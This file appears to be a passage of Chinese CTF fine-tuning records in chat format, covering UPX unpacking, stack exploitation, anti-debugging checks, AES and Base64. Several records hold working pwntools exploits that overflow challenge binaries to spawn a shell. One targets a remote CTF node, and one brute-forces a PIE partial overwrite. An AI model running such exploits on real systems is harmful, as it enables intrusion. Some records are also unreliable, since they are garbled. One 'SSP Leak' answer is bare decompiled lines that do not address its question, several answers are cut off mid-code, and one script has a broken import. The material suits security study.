"train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-44740fb77101b3c3820f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《UPX 脱壳详解》的“ELF”部分，提炼一条适合 SFT 的中文技术讲解样本（第 1 段）。", "role": "user"}, {"content": "出处：UPX 脱壳详解 / ELF（第 1 段）\n关键词：OEP、ImageBase、ret、endbr64、PT_LOAD、auto、e_phoff、e_phnum、启动函数位置下断点，然后动态调试。\n\n发现、指令直接 F4 然后 F7 进入，直到发现\n蒸馏要点：\n- 自己写一段代码编译加壳。\n- 编译，这里需要静态编译，要不然文件太小加不了壳。\n- 加壳，可以看到加壳成功\n- exeinfo 扫一下，可以看到显示 upx 壳\n- 直接在`start`启动函数位置下断点，然后动态调试。\n- 发现`ret`指令直接 F4 然后 F7 进入，直到发现`endbr64`指令（即源程序代码开头）。\n- 下翻，翻到`ret`指令直接 f4 运行到这里，然后 f8 单步。\n可用于训练的标准回答：\n### ELF\n\n>例题\n\n自己写一段代码编译加壳。\n\n```c\n#include\nint main()                                                                                                            1 {\n    char buf[10]={0};\n    puts(\"input:\");\n    read(0,buf,10);\n    printf(\"%s\",buf);\n    return 0;\n}\n```\n\n编译，这里需要静态编译，要不然文件太小加不了壳。\n\n加壳，可以看到加壳成功\n\nexeinfo 扫一下，可以看到显示 upx 壳\n\n- 寻找OEP\n\nida打开文件\n\n直接在`start`启动函数位置下断点，然后动态调试。\n\n发现`ret`指令直接 F4 然后 F7 进入，直到发现`endbr64`指令（即源程序代码开头）。\n\n下翻，翻到`ret`指令直接 f4 运行到这里，然后 f8 单步。\n\n重复以上过程，如果没找到`ret`指令就执行最近的`jmp`跳转。\n\n当看到下面这个`syscall`汇编中断代码时我们就快到 OEP 了。\n\n之后 f4 运行到`ret`位置，之后继续单步。\n\n- 跳转到 OEP\n\n看起来都是数据，按快捷键 c 将数据解释为代码。\n\n之后看到`endbr64`，elf64 位程序的入口。\n\n然后查看程序代码，发现将`byte_401775`函数地址送入`rdi`。\n\n由它来调用初始化程序，进而调用`main`函数。\n\n这里的`byte_401775`就是原程序`main`函数。\n​\n\n进入`main`函数查看\n\n按快捷键`c`解释为代码，然后在`endbr64`处按快捷键`p`创建函数。\n\n之后就可以`f5`反编译了。\n\n`main`函数反编译代码\n\nCTF 中一般就可以在这里分析程序代码解题了。\n\n不过接下来我们要 dump 文件。\n\n- dump内存到文件\n\n先回到 OEP 这里。\n\n确保`rip`执向`endb...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::a56c822f5d571c95", "original_line": 752, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ELF", "source": "UPX 脱壳详解.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "a56c822f5d571c95", "source_split": "train", "split": "train", "split_group_key": "206b7b2583cb4d3e22ad0759", "tags": ["reverse", "ctf-method"], "title": "UPX 脱壳详解", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-44d01fb723aeb48a6bc3", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. v11 = __readfsqword(0x28u);\n2. sub_DA0(a1, a2, a3);\n3. sub_F40();\n4. v9 = sub_CF0;\n5. puts(\"Hi~ This is a very easy echo server.\");\n6. puts(\"Please give me your name~\");", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::98ef0eec607557c6", "original_line": 871, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "98ef0eec607557c6", "source_split": "train", "split": "train", "split_group_key": "55e235f89b86ea20e0df926e", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-45702aa8c53ca124eaeb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[SWPUCTF 2022 新生赛]有手就行的栈溢出”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [SWPUCTF 2022 新生赛]有手就行的栈溢出\n关键词：fun、SWPUCTF、execve、pwn、off、payload、ret2text、exp、import、process\n蒸馏要点：\n- 发现 fun 函数中存在 execve 函数，并且已经设置好了相关参数。\n- 直接调用获取shell。\n可用于训练的标准回答：\n### [SWPUCTF 2022 新生赛]有手就行的栈溢出\n\n#ret2text #execve\n\n程序存在栈溢出\n\n发现 fun 函数中存在 execve 函数，并且已经设置好了相关参数。\n\n直接调用获取shell。\n\n- **exp**\n\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\n#ececve(\"/bin/sh\",0,0)\noff=40\nfun=0x401257\npayload=b'a'*off+p64(fun)\n\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 16, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0857af82ad38e51a", "original_line": 952, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[SWPUCTF 2022 新生赛]有手就行的栈溢出", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0857af82ad38e51a", "source_split": "train", "split": "train", "split_group_key": "4daa38d4be600142a04a938e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-45c2792e4af2df3d0934", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“ciscn2019s9”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / ciscn2019s9\n关键词：push、esp、xor、edx、shell、ecx、payload、eax、mov、asm\n蒸馏要点：\n- 程序栈上可写可读可执行，并且代码中存在`jmp esp`。\n- 利用jmp跳到栈顶执行，然后通过构造汇编操作栈帧执行shellcode\n- 通过向栈上写入shellcode，然后通过栈溢出执行获取shell\n可用于训练的标准回答：\n### ciscn2019s9\n\n#ret2reg\n\n程序栈上可写可读可执行，并且代码中存在`jmp esp`。\n\n利用jmp跳到栈顶执行，然后通过构造汇编操作栈帧执行shellcode\n\n通过向栈上写入shellcode，然后通过栈溢出执行获取shell\n\n**exp**\n```python\nfrom pwn import *\n\nio=process(\"./ciscn_s_9\")\n#io=remote(\"node5.buuoj.cn\",26315)\ncontext(log_level=\"debug\",arch=\"i386\")\n#gdb.attach(io)\n\nshell='''\nxor eax,eax\nxor edx,edx\npush edx\npush 0x68732f2f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\nmov al,0xb\nint 0x80\n'''\na=asm(shell)\nsh='''\npush 0xb\npop eax\ncdq\npush edx\npush 0x68732f2f\npush 0x6e69622f\nmov ebx,esp\nxor ecx,ecx\nint 0x80\n'''\nb=asm(sh)\nlog.info(\"shell:\"+str(len(a)))\nlog.info(\"shell:\"+str(len(b)))\nret=0x08048554\nhint=0x8048554\n#pause()\npayload=b.ljust(0x24,b'a')+p32(ret)+asm(\"sub esp,40;call esp\")\nprint(len(payload))\nio.sendafter(b'>\\n',payload)\nio.interactive()\n```\n\n- exp\n\n```python\nfrom pwn import **\n\n#io=process(\"./ciscn_s_9\")\nio=remote(\"node5.buuoj.cn\",26315)\ncontext(log_level=\"debug\",arch=...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::17414405956b321c", "original_line": 854, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "ciscn2019s9", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "17414405956b321c", "source_split": "train", "split": "train", "split_group_key": "fb1e3d6e7b3554bfa3047379", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-462a04e5e4e9579b17eb", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《反调试》中“NtGlobalFlag”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《反调试》的“NtGlobalFlag”。\n语言/类型：c\n关联知识点：\n- 由于调试器中启动的进程与正常启动的进程创建堆的方式有些不同，系统使用 PEB 结构偏移量 0x68 处的一个未公开的位置`NTGlobalFlag`，来决定如果创建堆结构。如果这个位置上的值为`0x70`，则进程处于调试器中，检测该成员就可以判断进程是否处于调试。。\n代码片段：\n```c\n#include\n#include\n\nBOOL CheckDebug(){\n\tint is=0;\n\t__asm\n\t{\n\t\tmov eax,dword ptr fs:[30h]\n\t\tmov eax,dword ptr [eax,68h]\n\t\tand eax,0x70\n\t\tmov is,eax\n\t}\n\treturn is!=0;\n}\n\nint main() {\n\tint flag=CheckDebug();\n    if (flag) {\n        printf(\"Debugger detected via NTGlobalFlag!\\n\");\n    } else {\n        printf(\"No debugger detected.\\n\");\n    }\n    return 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::8bc9fb16e28d4a14", "original_line": 860, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "NtGlobalFlag", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "8bc9fb16e28d4a14", "source_split": "train", "split": "train", "split_group_key": "5593359b6e837ab392434cda", "tags": ["pwn", "reverse", "ctf-method"], "title": "反调试", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-46bb6fd617bb11009be1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“魔改”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. 字节代换的时候使用逆 S 盒进行代换\n2. 对行位移进行魔改，状态矩阵的第 0 行左移 0 字节，第一行左移 1 字节，第二行左移 2 字节，第三行左移 3 字节，每一行的元素左移的字节数是可以更改的。\n3. 对列混合进行魔改，虽然可以，但是一般不会有人这样做，状态矩阵与固定的矩阵相乘得到混淆后的状态矩阵，如果这个固定矩阵被更改，那么求逆的时候要重新计算另外一个矩阵。\n4. 对中间轮数的加密顺序进行更改\n5. 对于魔改 AES 我们可以编译一份标准 AES 加密的代码对照着分析。\n6. AES 实现代码：https://github.com/kokke/tiny-AES-c.git", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "web", "ctf"], "original_id": "chatml::train::distilled_training_data::train::ddfd4286c74a7ceb", "original_line": 1047, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "魔改", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ddfd4286c74a7ceb", "source_split": "train", "split": "train", "split_group_key": "525acf7be0724aa2032ef82c", "tags": ["crypto", "web"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-46bcd252fd8b61f864ab", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“铁人三项(第五赛区) 2018rop”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / 铁人三项(第五赛区) 2018rop\n关键词：p32、write、elf、libc、off、base、dump、import、LibcSearcher、gift\n可用于训练的标准回答：\n### 铁人三项(第五赛区) 2018rop\n\n#ret2libc #32位\n\n- exp\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\ncontext.arch=elf.arch\n\noff=0x8c\npayload=b'a'*off+p32(elf.plt.write)+p32(elf.sym.main)+p32(1)+p32(elf.got[\"write\"])+p32(0x20)\nsl(payload)\nwrite=u32(r(4))\nprint(hex(write))\nlibc=LibcSearcher(\"write\",write)\nbase=write-libc.dump(\"write\")\nsh=base+libc.dump(\"str_bin_sh\")\nsys=base+libc.dump(\"system\")\npay=b'a'*off+p32(sys)+p32(elf.sym.main)+p32(sh)\nr()\nsl(pay)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::fd8a8f34e91c18f6", "original_line": 654, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "铁人三项(第五赛区) 2018rop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "fd8a8f34e91c18f6", "source_split": "train", "split": "train", "split_group_key": "dd0c4b1700d965386d2f0491", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-472634c0a019da35299e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Base64》的“原理”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Base64 / 原理\n关键词：“abc”、“YWJj”、base64、abc、YWJj、YWJ\n蒸馏要点：\n- 下面我们通过将明文 `“abc”` 进行 base64 编码来讲解 base64 编码原理。\n- 首先将明文每三个字节分为一组，每个字节 8bit，共 24bit。\n- 将 24bit 划分为四组，每组 6bit，4 组共 24bit\n- 将每组用 0 补齐为 8bit，4 组共 32bit。\n- 黄色部分就是补齐的 0。\n- 将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。\n- 编码结果就是 `“YWJj”`。\n可用于训练的标准回答：\n### 原理\n\n下面我们通过将明文 `“abc”` 进行 base64 编码来讲解 base64 编码原理。\n\n1. 首先将明文每三个字节分为一组，每个字节 8bit，共 24bit。\n\n2. 将 24bit 划分为四组，每组 6bit，4 组共 24bit\n\n3.将每组用 0 补齐为 8bit，4 组共 32bit。\n\n黄色部分就是补齐的 0。\n\n将补齐后的二进制数的十进制值作为编码表的下标获取编码表中的对应值。\n\n编码结果就是 `“YWJj”`。\n\n如果编码后的字符不是 4 的倍数，后面用 “=” 填充补齐。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3b914a889d020290", "original_line": 837, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "原理", "source": "Base64.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3b914a889d020290", "source_split": "train", "split": "train", "split_group_key": "0aa26fd4acb64cd1636c3692", "tags": ["crypto"], "title": "Base64", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-48219c32252aee785948", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“\\[NISACTF 2022\\]ezpie”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / \\[NISACTF 2022\\]ezpie\n关键词：pie、base、NISACTF、pwn、sys、payload、ezpie、exp、import、process\n蒸馏要点：\n- 通过接受泄露的地址，计算基址，然后返回system函数\n可用于训练的标准回答：\n### \\[NISACTF 2022\\]ezpie\n\n#pie\n通过接受泄露的地址，计算基址，然后返回system函数\n\n**exp**\n```python\nfrom pwn import *\n\nio=process(\"./pwn\")\nio.recvuntil(b\"gift!\\n\")\npie=io.recvline().split(b\"\\n\")[0]\nbase=int(pie,16)-0x770\nprint(base)\nsys=0x80f+base\npayload=b'a'*44+p32(sys)\nio.sendline(payload)\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::aa4b417b8f2116e4", "original_line": 1040, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "\\[NISACTF 2022\\]ezpie", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "aa4b417b8f2116e4", "source_split": "train", "split": "train", "split_group_key": "593a0bc13d3bda6716ed922a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4847a634237a9b264630", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《2025强网杯 Qclac》的“思路”部分，提炼一条适合 SFT 的中文技术讲解样本（第 4 段）。", "role": "user"}, {"content": "出处：2025强网杯 Qclac / 思路（第 4 段）\n关键词：new、flag、line、yaml、StringBuilder、InputStreamReader、UTF_8、BufferedReader、TAG、history\n蒸馏要点：\n- 等待一段时间后（比如 50ms），去读取 history.yml 文件的内容，\n- 其中已经被 PingUtil 执行命令覆盖为 flag 内容。\n- final Uri yaml = yamlUri;\n- new Handler().postDelayed(new Runnable() {\n- @Override\n- public void run() {\n- StringBuilder sb = new StringBuilder();\n可用于训练的标准回答：\n/**\n         * 等待一段时间后（比如 50ms），去读取 history.yml 文件的内容，\n         * 其中已经被 PingUtil 执行命令覆盖为 flag 内容。\n         */\n        final Uri yaml = yamlUri;\n        new Handler().postDelayed(new Runnable() {\n            @Override\n            public void run() {\n                try {\n                    StringBuilder sb = new StringBuilder();\n                    InputStream is = getContentResolver().openInputStream(yaml);\n                    InputStreamReader ir = new InputStreamReader(is, StandardCharsets.UTF_8);\n                    BufferedReader br = new BufferedReader(ir);\n                    String line;\n                    // 逐行读取文件内容\n                    while ((line = br.readLine()) != null)\n                        sb.append(line);\n                    // 输出 flag 到日志\n                    Log.d(TAG, \"flag: \"+ sb.toString());\n                } catch (Exception e) {\n                    // 忽略异常（例如文件未...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 3, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["web", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::e494bc0debdc7514", "original_line": 1019, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "思路", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "e494bc0debdc7514", "source_split": "train", "split": "train", "split_group_key": "af821c002763b3a47f8169bb", "tags": ["web", "ctf-method"], "title": "2025强网杯 Qclac", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-48736ca4a916c95e1d74", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[UUCTF 2022 新生赛]easystack”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [UUCTF 2022 新生赛]easystack\n关键词：pwn、pwnfile、UUCTF、easystack、ELF、PIE、EIP、pie、ret2text、partial_write\n蒸馏要点：\n- partial write（部分写入）就是一种利用PIE技术缺陷的bypass技术。\n可用于训练的标准回答：\n### [UUCTF 2022 新生赛]easystack\n\n#pie #ret2text #partial_write\n\npartial write（部分写入）就是一种利用PIE技术缺陷的bypass技术。由于内存的页载入机制，PIE的随机化只能影响到单个内存页。通常来说，一个内存页大小为0x1000，这就意味着不管地址怎么变，某条指令的后12位，3个十六进制的地址是始终不变的。因此通过覆盖EIP的后8位或16位（按字节写入，每字节8位）就可以快速爆破或者直接劫持EIP。\n\nexp\n\n```python\n#!/usr/bin/python3\n\nfrom pwn import *\n\ncontext(os=\"linux\",arch=\"amd64\")\npwnfile=\"./easystack\"\n\ndef pwn():\n\tio.sendafter(b'name?', b'a'*0x108 + p16(0xc196))\n\tio.interactive()\nwhile(1):\n\ttry:\n\t\tio = process(pwnfile)\n\t\t#io = remote(\"node5.anna.nssctf.cn\",24033)\n\t\telf = ELF(pwnfile)\n\t\tpwn()\n\texcept:\n\t\tio.close()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::7322739a1ee3c2c5", "original_line": 723, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[UUCTF 2022 新生赛]easystack", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "7322739a1ee3c2c5", "source_split": "train", "split": "train", "split_group_key": "d894ce0b18bd39cfb1ecfc14", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-49100c5d4624936973f6", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《反调试》的“OutputDebugString”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：反调试 / OutputDebugString\n关键词：OutputDebugString、- 实现、errorValue、API、LPCSTR、include、CheckDebugger、DWORD、GetLastError、printf\n蒸馏要点：\n- `OutputDebugString`是 Windows API 中用于向调试器输出调试信息的函数。它的行为可以被利用来检测程序是否正在被调试。\n可用于训练的标准回答：\n#### OutputDebugString\n\n`OutputDebugString`是 Windows API 中用于向调试器输出调试信息的函数。它的行为可以被利用来检测程序是否正在被调试。\n\n- 函数原型\n\n```c\nvoid OutputDebugString(\n  LPCSTR lpOutputString\n);\n```\n\n- 实现\n\n```c\n#include\n#include\n\nvoid CheckDebugger()\n{\n    DWORD errorValue = 12345;\n    SetLastError(errorValue);\n\n    // 输出调试字符串，这个字符串会被调试器捕获\n    OutputDebugString(\"Test for Debugger\");\n\n    // 检查 GetLastError 返回的值是否改变\n    if (GetLastError() == errorValue) {\n        printf(\"debugger\\n\");\n        ExitProcess(1); // 结束进程\n    }\n    else {\n        printf(\"no debugger\\n\");\n    }\n}\n\nint main(){\n\tCheckDebugger();\n\tsystem(\"pause\");\n\treturn 0;\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::05f83f2f4b0f74f5", "original_line": 935, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "OutputDebugString", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "05f83f2f4b0f74f5", "source_split": "train", "split": "train", "split_group_key": "4e0e2140acf4a0a26f1ab308", "tags": ["reverse"], "title": "反调试", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4a8c7fe189a0d0dbe7dc", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“SSP Leak”？请用《Pwn：Stack》中的内容回答。", "role": "user"}, {"content": "1. 当程序检测到 `canary` 被修改时，它会调用 `__stack_chk_fail()` 函数，导致程序终止并输出错误信息。\n2. 我们可以通过栈溢出将 `argv[0]` 覆盖成为一个指针，然后在错误信息中就可以打印出我们想要的信息。\n3. 注：libc-2.25启用了一个新的函数`__fortify_fail_abort()`，试图对该泄露问题进行修复，函数的第一个参数问问`false`时，将不再进行栈回溯，而是直接打印出字符串 ``，那么也就无法再进行Leak。\n4. [HNCTF 2022 WEEK3]smash\n5. 根据题目名称就可以猜测是要我们通过 smash 的方式利用了\n6. 发现除了`PIE`保护，其它保护全开。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c789a00194b3b98a", "original_line": 774, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "SSP Leak", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c789a00194b3b98a", "source_split": "train", "split": "train", "split_group_key": "b7912de8e1cf14ed3d884457", "tags": ["pwn", "reverse", "ctf-method"], "title": "Pwn：Stack", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
